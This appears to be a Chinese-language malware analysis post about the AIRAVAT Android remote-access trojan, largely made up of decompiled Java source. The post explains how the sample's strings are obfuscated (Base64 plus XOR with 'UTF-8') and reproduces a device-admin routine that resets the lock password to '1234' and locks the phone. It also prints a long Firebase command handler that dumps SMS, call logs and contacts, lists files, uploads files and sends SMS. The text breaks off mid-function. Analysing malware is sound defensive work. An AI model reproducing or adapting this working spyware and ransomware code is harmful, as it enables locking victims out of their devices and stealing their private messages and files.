背景

项目里教了怎么将.apk文件里的ID替换为攻击者的ID,但是没有公开JAVA代码,自己想分析看看:
22.07.13-Cyble - 能够勒索的多功能安卓木马AIRAVAT

分析

解密字符串

敏感的字符串都被加密了,解密函数为“StringFogImpl.decrypt”:
image.png
很明显是有Base64编码过,直接尝试Base64解码,不对:
image.png

StringFogImpl.decrypt函数

加密(“encrypt”):Xor str2后Base64编码
解密(“decrypt”):Base64解码后Xor str2:
image.png
找了很久,都没找到str2的值。

大丈夫

异或是可逆的。
报告里找对应的一对“密文”-“明文”。密文Base64解码后Xor明文XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH),即可得Xor的另一个值

  • 明文:dmpsms
  • 密文:MTk2XlUm

获取Xor的另一个字符串:
image.png
原来异或的另一个字符串,是“UTF-8”!

Xor(Base64.DeCode(str), “UTF-8”)XOR(%7B’option’:’UTF8’,’string’:’UTF-8’%7D,’Standard’,false)&input=6L6T5YWl5a%2BG5paH)

诡计多端!
image.png

功能

设置密码并锁屏

将密码设置为“1234”后立刻锁屏:
image.png

devicePolicyManager.setPasswordQuality)

  1. public class DeviceAdminComponent extends DeviceAdminReceiver
  2. {
  3. private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"
  4. public CharSequence onDisableRequested(Context context, Intent intent)
  5. {
  6. ComponentName componentName = new ComponentName(context, DeviceAdminComponent.class);
  7. DevicePolicyManager devicePolicyManager = (DevicePolicyManager) context.getSystemService(device_policy);
  8. if (devicePolicyManager.isAdminActive(componentName))
  9. {
  10. devicePolicyManager.setPasswordQuality(componentName, Numeric);
  11. }
  12. devicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, resetPasswordWithToken);
  13. devicePolicyManager.lockNow();
  14. return super.onDisableRequested(context, intent);
  15. }
  16. }

GUI-日志

/uid.txt
/panel.txt
/audur.txt

logoss-AccessibilityService(辅助服务)

监听指定类型的事件:
image.png
保存到日志(?):
image.png

servicess-主要代码逻辑

从408行开始对比命令:
image.png
几乎所有有意义的字符串都被加密了,分析代码变成了体力活,解密后代码非常清晰,但是量大,此处就不继续深入分析了,具体参考:
22.07.13-Cyble - 能够勒索的多功能安卓木马AIRAVAT

Python解密

需解密字符串

service为主要的远控功能:

  1. public void _service() {
  2. _setpres();
  3. _setpres2("");
  4. FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejcpQFwmeyVCVTEn") + gui.uuii(getApplicationContext())).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.20
  5. @Override // com.google.firebase.database.ChildEventListener
  6. public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  7. }
  8. @Override // com.google.firebase.database.ChildEventListener
  9. public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  10. Map map = (Map) dataSnapshot.getValue();
  11. servicess.this.cmdn = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiQw=="))).toString();
  12. servicess.this.cmdv = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiWw=="))).toString();
  13. servicess.this.cmdvar = new StringBuilder().append(map.get(StringFogImpl.decrypt("NjkiW1kn"))).toString();
  14. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("NjA="))) {
  15. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2XlUm"))) {
  16. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2Tlk5OA=="))) {
  17. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTk2Tlc7IA=="))) {
  18. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MjEyXVk2PydKXSY="))) {
  19. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JjwjQVQ2OSI="))) {
  20. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("MTEwRFswPShLVw=="))) {
  21. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsnXkwhMT5Z"))) {
  22. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ISA1SV0j"))) {
  23. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("Iz0kX1khMSJITg=="))) {
  24. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JTgnVEs4ITVEWw=="))) {
  25. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("JjEoSUs4Jw=="))) {
  26. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("NjwnQ18wIydBVA=="))) {
  27. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("OiQxSFo="))) {
  28. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsoWQ=="))) {
  29. if (!servicess.this.cmdn.equals(StringFogImpl.decrypt("ITsgS0w="))) {
  30. if (servicess.this.cmdn.equals(StringFogImpl.decrypt("NjgvXQ=="))) {
  31. servicess.this.clips();
  32. return;
  33. }
  34. return;
  35. }
  36. servicess.this.tofft();
  37. return;
  38. }
  39. servicess.this.tont();
  40. return;
  41. }
  42. servicess.this._voicere(servicess.this.cmdv);
  43. return;
  44. }
  45. servicess.this._changewall(servicess.this.cmdv);
  46. return;
  47. }
  48. servicess.this._sendsm(servicess.this.cmdv, servicess.this.cmdvar);
  49. return;
  50. }
  51. servicess.this._palysmudic(servicess.this.cmdv);
  52. return;
  53. }
  54. servicess.this._vibra(servicess.this.cmdv);
  55. return;
  56. }
  57. servicess.this._ttsdev(servicess.this.cmdv);
  58. return;
  59. }
  60. servicess.this._showtoast(servicess.this.cmdv);
  61. return;
  62. }
  63. servicess.this._devinfo();
  64. return;
  65. }
  66. servicess.this._sudoapt(servicess.this.cmdv, "");
  67. return;
  68. }
  69. servicess.this._getpackages();
  70. return;
  71. }
  72. servicess.this._dmpcon();
  73. return;
  74. }
  75. servicess.this._dmpcal();
  76. return;
  77. }
  78. servicess.this.getAllSms(servicess.this.getApplicationContext());
  79. return;
  80. }
  81. servicess.this._cd(servicess.this.cmdv, "", "");
  82. }
  83. @Override // com.google.firebase.database.ChildEventListener
  84. public void onChildRemoved(DataSnapshot dataSnapshot) {
  85. }
  86. @Override // com.google.firebase.database.ChildEventListener
  87. public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  88. }
  89. @Override // com.google.firebase.database.ChildEventListener
  90. public void onCancelled(DatabaseError databaseError) {
  91. }
  92. }); // /comds/comds/comds/comds
  93. }
  94. public void _setpres() {
  95. FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejsoQVE7MWk=") + gui.uuiip(getApplicationContext()) + StringFogImpl.decrypt("eiE1SEo=") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("MTEwRFsw")).addChildEventListener(new ChildEventListener() { // from class: sigma.male.servicess.21
  96. @Override // com.google.firebase.database.ChildEventListener
  97. public void onChildAdded(DataSnapshot dataSnapshot, String str) {
  98. }
  99. @Override // com.google.firebase.database.ChildEventListener
  100. public void onChildChanged(DataSnapshot dataSnapshot, String str) {
  101. }
  102. @Override // com.google.firebase.database.ChildEventListener
  103. public void onChildRemoved(DataSnapshot dataSnapshot) {
  104. servicess.this._setpres2("");
  105. }
  106. @Override // com.google.firebase.database.ChildEventListener
  107. public void onChildMoved(DataSnapshot dataSnapshot, String str) {
  108. }
  109. @Override // com.google.firebase.database.ChildEventListener
  110. public void onCancelled(DatabaseError databaseError) {
  111. }
  112. });
  113. }
  114. public void _setpres2(String str) {
  115. this.responsetxt.clear();
  116. this.responsetxt = new HashMap<>();
  117. this.responsetxt.put(StringFogImpl.decrypt("JTwpQ10="), String.valueOf(Build.MANUFACTURER) + " " + Build.MODEL);
  118. this.responsetxt.put(StringFogImpl.decrypt("NDoiX1c8MA=="), StringFogImpl.decrypt("FDoiX1c8MGY=") + Build.VERSION.RELEASE);
  119. this.responsetxt.put(StringFogImpl.decrypt("NzUyWV0nLQ=="), String.valueOf(((BatteryManager) getSystemService(StringFogImpl.decrypt("NzUyWV0nLStMVjQzI18="))).getIntProperty(4)) + StringFogImpl.decrypt("cA=="));
  120. this.responsetxt.put(StringFogImpl.decrypt("PDA="), gui.uuii(getApplicationContext()));
  121. for (String str2 : new String[]{StringFogImpl.decrypt("eic/XkwwOWlMSCV7FVhIMCYzXl0neiddUw=="), StringFogImpl.decrypt("eickRFZ6JzM="), StringFogImpl.decrypt("eic/XkwwOWlPUTt7NVg="), StringFogImpl.decrypt("eic/XkwwOWlVWjw6aV5N"), StringFogImpl.decrypt("ejAnWVl6OClOWTl7Pk9RO3s1WA=="), StringFogImpl.decrypt("ejAnWVl6OClOWTl7JERWeicz"), StringFogImpl.decrypt("eic/XkwwOWleXHosJERWeicz"), StringFogImpl.decrypt("eic/XkwwOWlPUTt7IExROScnS116JzM="), StringFogImpl.decrypt("ejAnWVl6OClOWTl7NVg="), StringFogImpl.decrypt("eiczAlo8OmleTQ==")}) {
  122. if (new File(str2).exists()) {
  123. StringFogImpl.decrypt("DDE1");
  124. }
  125. }
  126. this.responsetxt.put(StringFogImpl.decrypt("JzspWV0x"), StringFogImpl.decrypt("Gzs="));
  127. DatabaseReference child = FirebaseDatabase.getInstance().getReference(StringFogImpl.decrypt("ejsoQVE7MWk=") + gui.uuiip(getApplicationContext()) + StringFogImpl.decrypt("eiE1SEo=") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("MTEwRFsw"));
  128. child.setValue(this.responsetxt);
  129. child.onDisconnect().removeValue();
  130. }
  131. public void _cd(final String str, String str2, String str3) {
  132. int i = 0;
  133. if (FileUtil.isExistFile(str)) {
  134. if (FileUtil.isDirectory(str)) {
  135. this.lst.clear();
  136. FileUtil.listDir(str, this.lst);
  137. this.num = 0.0d;
  138. this.str = StringFogImpl.decrypt("aTgvDQZ7eg==");
  139. while (true) {
  140. int i2 = i;
  141. if (i2 < this.lst.size()) {
  142. if (FileUtil.isDirectory(this.lst.get((int) this.num))) {
  143. this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXcyKQ8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment()));
  144. } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("eyQoSg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez42Sg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez42SF8=")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("eycwSg==")) || Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ez0lQg=="))) {
  145. this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXc9Kw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
  146. } else if (Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().contains(StringFogImpl.decrypt("ezk2GQ=="))) {
  147. this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXciLw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
  148. } else {
  149. this.str = this.str.concat(StringFogImpl.decrypt("aTgvDVs5NTVeBXcyLw8Yaw==").concat(Uri.parse(this.lst.get((int) this.num)).getLastPathSegment().concat(StringFogImpl.decrypt("aTZ4").concat(String.valueOf(new File(this.lst.get((int) this.num)).length() / 1024) + StringFogImpl.decrypt("HhY=").concat(StringFogImpl.decrypt("aXskEw=="))))));
  150. }
  151. this.num += 1.0d;
  152. i = i2 + 1;
  153. } else {
  154. _setrespo(this.str, str, "", "", "");
  155. return;
  156. }
  157. }
  158. } else if (FileUtil.isFile(str)) {
  159. BitmapFactory.Options options = new BitmapFactory.Options();
  160. options.inJustDecodeBounds = true;
  161. BitmapFactory.decodeFile(str, options);
  162. if (options.outWidth != -1 && options.outHeight != -1 && new File(str).length() / 1024 < 3072) {
  163. Date date = new Date(new File(str).lastModified());
  164. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  165. BitmapFactory.decodeFile(str).compress(Bitmap.CompressFormat.JPEG, 100, byteArrayOutputStream);
  166. _setrespo(StringFogImpl.decrypt("PDkhW1EwIw=="), str, Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0), StringFogImpl.decrypt("aTgvE3Y0OSMXGA==") + Uri.parse(str).getLastPathSegment() + StringFogImpl.decrypt("aTgvE3snMSdZUTo6fA0=") + date + StringFogImpl.decrypt("aTgvE2s8LiMXGA==") + (new File(str).length() / 1024) + StringFogImpl.decrypt("HhZmEVQ8ahZMTD1uZg==") + str, "");
  167. return;
  168. }
  169. this.root.child(str).putFile(Uri.fromFile(new File(str))).addOnFailureListener(this._fbs_failure_listener).addOnProgressListener(this._fbs_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.22
  170. /* JADX WARN: Can't rename method to resolve collision */
  171. @Override // com.google.android.gms.tasks.Continuation
  172. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  173. return servicess.this.root.child(str).getDownloadUrl();
  174. }
  175. }).addOnCompleteListener(this._fbs_upload_success_listener);
  176. this.filinfodat = StringFogImpl.decrypt("aTgvE3Y0OSMXGA==") + Uri.parse(str).getLastPathSegment() + StringFogImpl.decrypt("aTgvE3snMSdZUTo6fA0=") + new Date(new File(str).lastModified()) + StringFogImpl.decrypt("aTgvE2s8LiMXGA==") + (new File(str).length() / 1024) + StringFogImpl.decrypt("HhZmEVQ8ahZMTD1uZg==") + str;
  177. }
  178. }
  179. }
  180. public void _setrespo(String str, String str2, String str3, String str4, String str5) {
  181. this.responsetxt.clear();
  182. this.responsetxt = new HashMap<>();
  183. this.responsetxt.put(StringFogImpl.decrypt("JzE1XVc="), str);
  184. this.responsetxt.put(StringFogImpl.decrypt("IzU0Hw=="), str2);
  185. this.responsetxt.put(StringFogImpl.decrypt("I2U="), str3);
  186. this.responsetxt.put(StringFogImpl.decrypt("I2Y="), str4);
  187. this.responsetxt.put(StringFogImpl.decrypt("I2c="), str5);
  188. String decrypt = StringFogImpl.decrypt("NDYlSV0zMy5EUj44K0NXJSU0XkwgIjFVQS8=");
  189. String str6 = String.valueOf(decrypt) + StringFogImpl.decrypt("ZWV0HgxgYnEVAQ==");
  190. Random random = new Random();
  191. StringBuilder sb = new StringBuilder(8);
  192. sb.append(str6.charAt(random.nextInt(str6.length() - 1)));
  193. for (int length = sb.length(); length < 8; length++) {
  194. sb.append(str6.charAt(random.nextInt(str6.length())));
  195. }
  196. this.responsetxt.put(StringFogImpl.decrypt("JzoiQA=="), sb.toString());
  197. this._firebase.getReference(StringFogImpl.decrypt("eiYjXkg6J2lfXSYkKQ==") + gui.uuii(getApplicationContext())).child(StringFogImpl.decrypt("JzE1XVc=")).setValue(this.responsetxt);
  198. }
  199. public void _dmpsm(String str) {
  200. }
  201. public void getAllSms(Context context) {
  202. Cursor query = context.getContentResolver().query(Telephony.Sms.CONTENT_URI, null, null, null, null);
  203. String decrypt = StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMEODEyTBg7NStIBXI3LkxKJjEyChg2OyhZXTsgewptARJrFR91anpeWyc9NlkYIS02SAVyICNVTHo+J1tZJjc0REghc2ZeSjZpYUVMISQ1Fxd6NSxMQHszKUJfOTEnXVEmeiVCVXo1LExAejgvT0t6PjdYXSctaR4WYXp2AlIkISNfQXs5L0MWPydhEwR6JyVfUSUgeA0EJiA/QV1rdCRCXCwvK0xKMj0oFwhuJCdJXDw6IRcIbjYnTlMyJilYVjFuZU5bNiloTFs2OzRJUTo6PU9ZNj8hX1cgOiIAWzo4KV8CdjIgSwM2OypCSm93dh0IbjczX0s6JnxdVzw6MkhKbiQnSVw8OiEXCW0kPhZPPDAyRQJkZHYIAzc7NEldJ24oQlYwbzJIQCF5J0FRMjp8QV0zIH1CTSE4L0Ndb2R9S1c7IGteUS8xfBwNJSx9XVcmPTJEVztuNEhUNCAvW11uIDRMViY9MkRXO25oGUtuJCdJXDw6IQBUMDIyFw1lJD5QFjQ3JUJKMT0pQwI9OzBISnl6J05MPCIjVlo0Ny1KSjohKABbOjgpXwJ2NSdMRXs1JU5XJzAvQlZvNSBZXScvJUJWITEoWQJytsaXH243KUFXJ25lHQhlbyBCViF5MUhRMjwyFw9lZH1LVDo1MhdKPDMuWQMhJidDSzM7NEACJzsyTEwwfH8dXDAzbxZVNCYhRFZ4OCNLTG9hNlVFezUlWVEjMXxMXiExNFZbOjoySFYhbmHPuO9zOwNINDojQUMlNSJJUTszfB0YZGw2VQM3NSVGXyc7M0NceDcpQVcnbmVIXTBvK0xAeDwjRF89IHwdAzY7KkJKb3d2HQhuOzBISjM4KVoCPT0iSV07bzJfWTsnL1lROjp8QFkteS5IUTI8Mg0WZydmSFkmMWtCTSEpJFhMITsoDUslNShWSDonL1lROjp8TFomOypYTDBvNERfPSB8GAglLDtPTSEgKUMYPDkhVlAwPSFFTG9ndl1AbiQpXlEhPSlDAjQ2NUJUICAjFlQwMjIXCWUkPhZMOiR8HAglLH1aUTEgLhcLZSQ+UBY8Ly5IUTI8MhcLZSQ+Fk88MDJFAmZhNlUDOTEgWQJtJD4WTCc1KF5eOiYrF0s2NSpIEHttb1AWJTUoSFQuJCdJXDw6IRcIdWV+XUBuNidOUzImKVhWMXklQlQ6JnwOXTAxfUBZLXkuSFEyPDIXCG43KUFXJ25lHQhlbylbXScyKkJPbzwvSVwwOn1ZSjQ6NURMPDsoF1U0LGtFXTwzLlkYe2Y1DV00JyMAVyAgO09NISApQxgmJCdDQyU7NURMPDsoF1k3JylBTSExfV9RMjwyFw1lJD5QWiAgMkJWdT0rSkM9MS9KUCFudR1ILW82Qks8IC9CVm81JF5XOSEySAM5MSBZAmRkNlUDITs2FwllJD4WTzwwMkUCZmQ2VUVpezVZQTkxeA==");
  204. if (query != null) {
  205. int count = query.getCount();
  206. if (query.moveToFirst()) {
  207. String str = decrypt;
  208. for (int i = 0; i < count; i++) {
  209. String string = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("MTUySA==")));
  210. String string2 = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("NDAiX10mJw==")));
  211. String string3 = query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("NzsiVA==")));
  212. new Date(Long.valueOf(string).longValue());
  213. String str2 = "";
  214. String str3 = "";
  215. switch (Integer.parseInt(query.getString(query.getColumnIndexOrThrow(StringFogImpl.decrypt("IS02SA=="))))) {
  216. case 1:
  217. str2 = StringFogImpl.decrypt("PDokQkA=");
  218. str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFzw6JEJAeyQoSgc0ODIQVTAwL0weITstSFZoMnVOXm0wfhwVNjJ0HhVhYX4VFTcwf04VM20lHg8zYXcVAWBn");
  219. break;
  220. case 2:
  221. str2 = StringFogImpl.decrypt("JjEoWQ==");
  222. str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFyYxKFkWJTohElk5IHtAXTE9JwtMOj8jQwU0YSBPCmxtdQANYzZwAAwzYHIAWjRtcwANbGxzTF02YidJDDQ=");
  223. break;
  224. case 4:
  225. str2 = StringFogImpl.decrypt("OiEyT1ct");
  226. str3 = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFzohMk9XLXo2Q19qNSpZBTgxIkRZcyApRl07aXRLD2VickwPeGRzTwB4YHMeDXg1cE5eeGJwGw40MXQdWjMydg==");
  227. break;
  228. }
  229. str = String.valueOf(str) + StringFogImpl.decrypt("aTYzWUw6OmZOVDQnNRAfNDclQkoxPSlDH2toL0BfdSc0TgVy") + str3 + StringFogImpl.decrypt("cnQnQUxocw==") + str2 + StringFogImpl.decrypt("cnR4") + string2 + StringFogImpl.decrypt("aSc2TFZr") + string + StringFogImpl.decrypt("aQ==") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("JiQnQwZp") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("NyEyWVc7ag==") + StringFogImpl.decrypt("aTAvWxg2OCdeS2hzNkxWMDhhEw==") + string3 + StringFogImpl.decrypt("aQ==") + StringFogImpl.decrypt("eg==") + StringFogImpl.decrypt("MT0wEw==");
  230. query.moveToNext();
  231. }
  232. decrypt = str;
  233. }
  234. query.close();
  235. decrypt = String.valueOf(decrypt) + StringFogImpl.decrypt("aSclX1ElIGZZQSUxewpMMCwyAlI0IideWyc9Nlkfa3Q=") + StringFogImpl.decrypt("MyEoTkw8OygNTDh8MgRDJzEyWEo7dChIT3UQJ1ldfWUjHhIhfWhZVxk7JUxUMAcyX1E7M24EAyhwbgpLJTUoChF7MSdOUH0yM0NbIT0pQxAheCMEQ3F8IwQWPSArQRAhOW5dWScnI2RWIXxiBV18ei5ZVTl8bwQRfClvFk40JmZEFDQ3JRBcOjczQF07IGhKXSERKkhVMDoyXnosFypMSyYaJ0BdfXMnTls6JiJEVztzbxZeOiZuRAVlby8RWTY3aEFdOzMyRQM8f20EWTY3HURlezUiSX0jMShZdDwnMkhWMCZuCls5PSVGH3kyM0NbIT0pQxB8LzJFUSZ6JUFZJicKREshejJCXzI4IwUfNDcyRE4wc28WTjQmZlkFITwvXhY7MT5ZfTkxK0hWIQcvT1Q8OiEWTHsnMlRUMHorTEAdMS9KUCFrMgNLIS0qSBY4NT5lXTwzLlkFOyEqQQIhejVZQTkxaEBZLRwjRF89IHtZFiY3NEJUORwjRF89IG0KSC1zOwQD") + StringFogImpl.decrypt("aXs1Tko8JDIT");
  236. }
  237. try {
  238. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB")))) {
  239. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB")));
  240. }
  241. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("eicrXhY9ICtB"), true);
  242. fileOutputStream.write((String.valueOf(decrypt) + "\n\n").getBytes());
  243. fileOutputStream.close();
  244. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.23
  245. /* JADX WARN: Can't rename method to resolve collision */
  246. @Override // com.google.android.gms.tasks.Continuation
  247. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  248. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("eicrXhY9ICtB"))).getDownloadUrl();
  249. }
  250. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  251. } catch (FileNotFoundException e) {
  252. } catch (IOException e2) {
  253. }
  254. }
  255. public void _dmpcal() {
  256. String decrypt;
  257. Context applicationContext = getApplicationContext();
  258. StringBuffer stringBuffer = new StringBuffer();
  259. stringBuffer.append(StringFogImpl.decrypt("aTwyQFRraCtITDR0KExVMGlhW1EwIzZCSiFzZk5XOyAjQ0xoczFEXCE8e0ldIz0lSBUiPSJZUHl0L0NRIT0nQRUmNydBXWhlYRMYaScyVFQwamZPVzEtPUBZJzMvQwJlbzZMXDE9KEoCZW8kTFs+MzRCTTswfA5bNjc7A1Q6LzFEXCE8fE5ZOTduFABwdGsNDmUkPgQDJTs1REw8OygXSjA4J1lRIzF9RV08My5ZAjQhMkIDJTUiSVE7M2tPVyEgKUACYCQ+Fkg0MCJEVjJ5MkJIb2VzXUBuJCdJXDw6IQBUMDIyFw5lJD4WWjQ3LUpKOiEoSQJ2MiBLAzg1NEpRO24nWEw6byRCSjExNABKNDAvWEtvZXZdQG45J19fPDprWVclbnNdQCh6KkIYPDkhVl45OydZAjkxIFkDPTEvSlAhbnUdSC1vMURcITx8HgglLH1dVyY9MkRXO24nT0s6ODNZXW4gKV0CbSQ+FlQwMjIXCWUkPlAWOTtmXkg0Oj1LVDo1MhdKPDMuWQM4NTRKUTt5NERfPSB8HwglLDsRFyYgP0Fda2gkQlwsag=="));
  260. Cursor query = applicationContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, StringFogImpl.decrypt("MTUySBgRERVu"));
  261. int columnIndex = query.getColumnIndex(StringFogImpl.decrypt("OyErT10n"));
  262. int columnIndex2 = query.getColumnIndex(StringFogImpl.decrypt("IS02SA=="));
  263. int columnIndex3 = query.getColumnIndex(StringFogImpl.decrypt("MTUySA=="));
  264. int columnIndex4 = query.getColumnIndex(StringFogImpl.decrypt("MSE0TEw8Oyg="));
  265. while (query.moveToNext()) {
  266. String string = query.getString(columnIndex);
  267. String string2 = query.getString(columnIndex2);
  268. Date date = new Date(Long.valueOf(query.getString(columnIndex3)).longValue());
  269. String string3 = query.getString(columnIndex4);
  270. String str = "";
  271. switch (Integer.parseInt(string2)) {
  272. case 1:
  273. decrypt = StringFogImpl.decrypt("HBoFYnUcGgE=");
  274. str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxwaBWJ1HBoBA0g7M3lMVCFpK0hcPDVgWVc+MSgQXWNidk4MYmxrFVxlbWsZXjNsaxQNZDFrTghkNX8bCjM1Ik4M");
  275. break;
  276. case 2:
  277. decrypt = StringFogImpl.decrypt("GgESanccGgE=");
  278. str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxoBEmp3HBoBA0g7M3lMVCFpK0hcPDVgWVc+MSgQD2ZsJx4LMG1rGwhhbWsZWW1saxQMYWRrHlk2YiAVADBncB5b");
  279. break;
  280. case 3:
  281. decrypt = StringFogImpl.decrypt("GB0Vfn0R");
  282. str = StringFogImpl.decrypt("PSAyXUtve2lLUScxJExLMCcyQko0MyMDXzo7IUFdNCQvXhY2OysCTmV7JAJPPT0ySBVnNiUYXns1Nl1LJTsyA1s6OWlCFxgdFX59EXo2Q19qNSpZBTgxIkRZcyApRl07aSNPXWxgfhoOeDV1TAx4YHEbDXhsdksNeDcjFV1nN3IVDGVhcA==");
  283. break;
  284. default:
  285. decrypt = null;
  286. break;
  287. }
  288. stringBuffer.append(StringFogImpl.decrypt("aTAvWxg2OCdeS2hzKkIfdWp6RFUydDVfW2hz") + str + StringFogImpl.decrypt("cnQnQUxocw==") + decrypt + StringFogImpl.decrypt("cnR4EVpr") + string + StringFogImpl.decrypt("aXskExhpJzZMVms=") + string3 + StringFogImpl.decrypt("dQcjTgR6JzZMVmtoJF8GaTY0Ew==") + date + StringFogImpl.decrypt("aXsiRE5r"));
  289. }
  290. query.close();
  291. try {
  292. if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA==")))) {
  293. FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA==")));
  294. }
  295. FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + StringFogImpl.decrypt("ejcnQVR7PDJAVA=="), true);
  296. fileOutputStream.write((String.valueOf(stringBuffer.toString()) + "\n\n").getBytes());
  297. fileOutputStream.close();
  298. this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.24
  299. /* JADX WARN: Can't rename method to resolve collision */
  300. @Override // com.google.android.gms.tasks.Continuation
  301. public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
  302. return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(StringFogImpl.decrypt("ejcnQVR7PDJAVA=="))).getDownloadUrl();
  303. }
  304. }).addOnCompleteListener(this._sigmamale_upload_success_listener);
  305. } catch (FileNotFoundException e) {
  306. } catch (IOException e2) {
  307. }
  308. }
  309. public void _dmpcon() {
  310. String str;
